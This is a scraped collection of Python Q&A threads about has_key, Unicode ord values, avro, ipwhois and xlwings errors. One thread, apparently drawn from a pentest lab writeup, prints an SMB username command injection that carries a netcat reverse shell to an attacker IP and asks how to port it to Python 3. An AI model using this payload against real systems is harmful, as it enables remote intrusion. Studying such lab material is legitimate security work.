This question already has answers here:
Should I use 'has_key()' or 'in' on Python dicts? [duplicate]
(9 answers)
Closed 4 years ago.
Example:
Dict={"Name":"Sai","Age":23}
"Age" in Dict
Yields TRUE, but
Dict.has_key("Age")
Gives error. Why is that??
has_keys() was removed in Python 3.x
just use in that still was better than has_keys()
src: https://docs.python.org/3.1/whatsnew/3.0.html#builtins
The has_key() method is in Python2. It is not available in Python3.
dir() function can return the methods defined on the dictionary object.
You can check availability of has_key() in both the versions as I did as follows,
Python 2.7.13
hygull#hygull:~$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> dir(dict)
['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']
>>>
>>> # Checking the index of 'has_key' in the above list
...
>>> dir(dict).index("has_key")
32
>>>
>>> Dict = {"Name": "Sai", "Age": 23};
>>> print (Dict.has_key("Age"))
True
>>>
Python 3.6.2
hygull#hygull:~$ python3
Python 3.5.2 (default, Nov 23 2017, 16:37:01)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> dir(dict)
['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
>>>
>>> Dict = {"Name": "Sai", "Age": 23}
>>> print(Dict.has_key("Age"))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'dict' object has no attribute 'has_key'
>>>
So you can try the following code to check the existence of keys in dictionary.
It will work on Python2 and Python3 both.
>>>
>>> # Defining a dictionary
...
>>> Dict = {"Name": "Sai", "Age": 23};
>>>
>>> # 1st way to check existence of key using get() method defined on dictionary object
...
>>> if Dict.get("Age"):
... print (Dict.get("Age"));
... else:
... print ("key \"Age\" does not exist in Dict.")
...
23
>>>
>>> if Dict.get("Age2"):
... print (Dict.get("Age2"));
... else:
... print ("key \"Age2\" does not exist in Dict.")
...
key "Age2" does not exist in Dict.
>>>
>>>
>>> # 2nd way to check existence of key using try-catch statement(Exception handling concept)
...
>>> try:
... print (Dict["Age2"])
... except KeyError:
... print ("key \"Age2\" does not exist in Dict.")
...
key "Age2" does not exist in Dict.
>>>
>>> try:
... print (Dict["Age"])
... except KeyError:
... print ("key \"Age\" does not exist in Dict.")
...
23
>>>
Related
kh#lara:~/tmp $ python
Python 3.9.2 (default, Mar 12 2021, 04:06:34)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> str = 'äöü'
>>> len(str)
3
>>> ord(str[0])
228
>>> ord(str[1])
246
>>> ord(str[2])
252
>>> ord(str[3])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IndexError: string index out of range
>>> f = open ('uml.txt', 'w')
>>> f.write(str)
3
>>> f.close()
>>>
kh#lara:~/tmp $ hexdump uml.txt
0000000 a4c3 b6c3 bcc3
0000006
Can somebody explain this? 228, 246, 252 is 'äöü' in iso-8859-1.
doc.python.org: ord(c)
Given a string representing one Unicode character, return an integer representing the Unicode code point of that character. For example, ord('a') returns the integer 97 and ord('€') (Euro sign) returns 8364. This is the inverse of chr().
I'm following a pentest writeup which uses Python 2 to connect to an smb share:
Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from smb.SMBConnection import SMBConnection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = SMBConnection(username, "", "", "")
>>> connection.connect("10.10.10.3",445)
I'm trying to accomplish the same thing using Python 3, this is how far I've gotten:
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from smbprotocol.connection import Connection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = Connection(username, "", "", "")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/user/.local/lib/python3.9/site-packages/smbprotocol/connection.py", line 638, in __init__
log.info("Initialising connection, guid: %s, require_signing: %s, "
TypeError: %d format: a number is required, not str
>>> import smbclient
>>> smbclient.ClientConfig(username)
<smbclient._pool.ClientConfig object at 0x7f6d093ac2e0>
>>> connection = smbclient.ClientConfig(username)
>>> connection.connect("10.X.X.X",445)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'ClientConfig' object has no attribute 'connect'
>>>
The module I am using is https://github.com/jborean93/smbprotocol
I think the problem with the last attempt on there (with smbclient) is that you need to change connection back to smbclient. As it is when you call connection the second time, you are calling smbclient.ClientConfig()
the docs suggest you do it like this(after you've done your ClientConfig):
with smbclient.open_file(r"\server\share\directory\file.txt", mode="w") as fd:
fd.write(u"file contents")
I think someone else mentioned the docs as well, but here, they have has some good examples:
https://pypi.org/project/smbprotocol/
I do see there is a seek method at 1.2 api version, https://avro.apache.org/docs/1.2.0/api/py/avro.io.html, but it seems that it's gone at 1.8.2, is there any other alternative?
from avro.io import DatumReader
dir(DatumReader)
Out[20]:
['__class__',
'__delattr__',
'__dict__',
'__dir__',
'__doc__',
'__eq__',
'__format__',
'__ge__',
'__getattribute__',
'__gt__',
'__hash__',
'__init__',
'__init_subclass__',
'__le__',
'__lt__',
'__module__',
'__ne__',
'__new__',
'__reduce__',
'__reduce_ex__',
'__repr__',
'__setattr__',
'__sizeof__',
'__str__',
'__subclasshook__',
'__weakref__',
'_read_default_value',
'check_props',
'match_schemas',
'read',
'read_array',
'read_data',
'read_enum',
'read_fixed',
'read_map',
'read_record',
'read_union',
'reader_schema',
'set_reader_schema',
'set_writer_schema',
'skip_array',
'skip_data',
'skip_enum',
'skip_fixed',
'skip_map',
'skip_record',
'skip_union',
'writer_schema']
I have installed python 2.7, IPWhois etc.
I can get anwer to IP address: 74.125.225.229.
But I can't get anwer for IP: 1.209.148.1.
Can anyone help?
Python 2.7.9 (default)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
from ipwhois import IPWhois
ip = '74.125.225.229'
obj = IPWhois( str(ip) )
res=obj.lookup_whois()
print(res)
{'raw': None, 'asn_registry': 'arin', 'asn_country_code': 'US', 'asn_date': '2007-03-13', 'asn_cidr': '74.125.225.0/24', 'raw_referral': None, 'nir': None, 'query': '74.125.225.229', 'referral': None, 'nets': [{'updated': '2012-02-24', 'handle': 'NET-74-125-0-0-1', 'description': 'Google Inc.', 'postal_code': '94043', 'address': '1600 Amphitheatre Parkway', 'cidr': '74.125.0.0/16', 'emails': ['network-abuse#google.com', 'arin-contact#google.com'], 'city': 'Mountain View', 'name': 'GOOGLE', 'created': '2007-03-13', 'country': 'US', 'state': 'CA', 'range': '74.125.0.0 - 74.125.255.255'}], 'asn': '15169'}
ip = '1.209.148.1'
obj = IPWhois( str(ip) )
res=obj.lookup_whois()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/.../src/ipwhois/ipwhois/ipwhois.py", line 184, in lookup_whois
field_list=nir_field_list, is_offline=False
File "/.../src/ipwhois/ipwhois/nir.py", line 497, in lookup
form_data=form_data
File "/.../src/ipwhois/ipwhois/net.py", line 977, in get_http_raw
request_type=request_type, form_data=form_data
File "/.../src/ipwhois/ipwhois/net.py", line 931, in get_http_raw
form_data = urlencode(form_data)
File "/usr/lib/python2.7/urllib.py", line 1324, in urlencode
raise TypeError
TypeError: not a valid non-string sequence or mapping object
From the comments (edited):
Solved it. It was a problem with iptables/firewall. Thanks for the help. - th3V
I just installed xlwings and was trying one of the examples and I am getting a Range error. Other commands seem to work fine. This is on Yosemite 10.10.3
Any Ideas what might be wrong?
Python 2.7.6 (default, Sep 9 2014, 15:04:36)
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from xlwings import Workbook, Sheet, Range, Chart
>>> wb = Workbook()
>>> Sheet(1).name
u'Sheet1'
>>> Range('A1').value = 'Foo 1'
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Library/Python/2.7/site-packages/xlwings/main.py", line 622, in __init__
self.row2 = self.row1 + xlplatform.count_rows(self.xl_sheet, range_address) - 1
File "/Library/Python/2.7/site-packages/xlwings/_xlmac.py", line 145, in count_rows
return xl_sheet.cells[range_address].count(each=kw.row)
File "/Library/Python/2.7/site-packages/aeosa/appscript/reference.py", line 431, in __call__
raise TypeError('Unknown keyword argument %r.' % name)
TypeError: Unknown keyword argument 'each'.
>>>